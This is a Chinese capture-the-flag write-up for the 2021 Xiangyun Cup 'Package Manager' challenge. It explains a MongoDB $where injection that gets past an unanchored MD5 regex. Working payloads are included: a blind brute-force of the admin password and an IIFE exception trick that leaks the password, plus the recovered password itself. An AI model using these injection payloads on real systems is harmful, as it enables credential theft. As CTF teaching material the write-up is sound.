[2021祥云杯]Package Manager 2021
mongodb注入
我们通过schema.ts发现这是一个mangodb数据库
Mongoose是一个让我们可以通过Node来操作MongoDB数据库的模块
然后再index中的/auth路由找到了sql注入漏洞
1 | router.get('/auth', (_, res) => res.render('auth')) |
虽然在token之前要经过checkmd5Regex函数的检测,我们来跟进这个函数
1 | const checkmd5Regex = (token: string) => { |
在正则匹配时,没有用^$匹配头部或者尾部,所以存在绕过
第一种方法:爆破密码
我们构造token:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||this.password[0]=="a
使得括号内的值为
1 | this.username == "admin" && hex_md5(this.password) == "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" || this.password[0]=="a" |
此时只要或条件成立语句就为真,写个脚本就可以爆出密码啦
1 | import requests |
爆出密码
1 | !@#&@&@efefef*@((@))grgregret3r |
我们用admin账户登录得到flag
第二种方法:异常注入
同样的是对auth接口这里逻辑判断,利用了js的抛出异常和IIFE(立即调用函数表达式)来实现
1 | token=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||(()=>{throw Error(this.password)})()=="admin |
逻辑判断语句为:
1 | this.username == "admin" && hex_md5(this.password) == "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||(()=>{throw Error(this.password)})()!="aaaaa" |
这里就是立即执行throw Error(this.password),后面是!=还是== 字符串的值是什么都无所谓,只要是语法没问题然后语句正常执行,这里强制抛出异常,从源码中可以看到抛出的异常会被渲染出来,然后就能够看到password的值
1 | let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||(()=>{throw Error(this.password)})()=="admin""`).exec() |
参考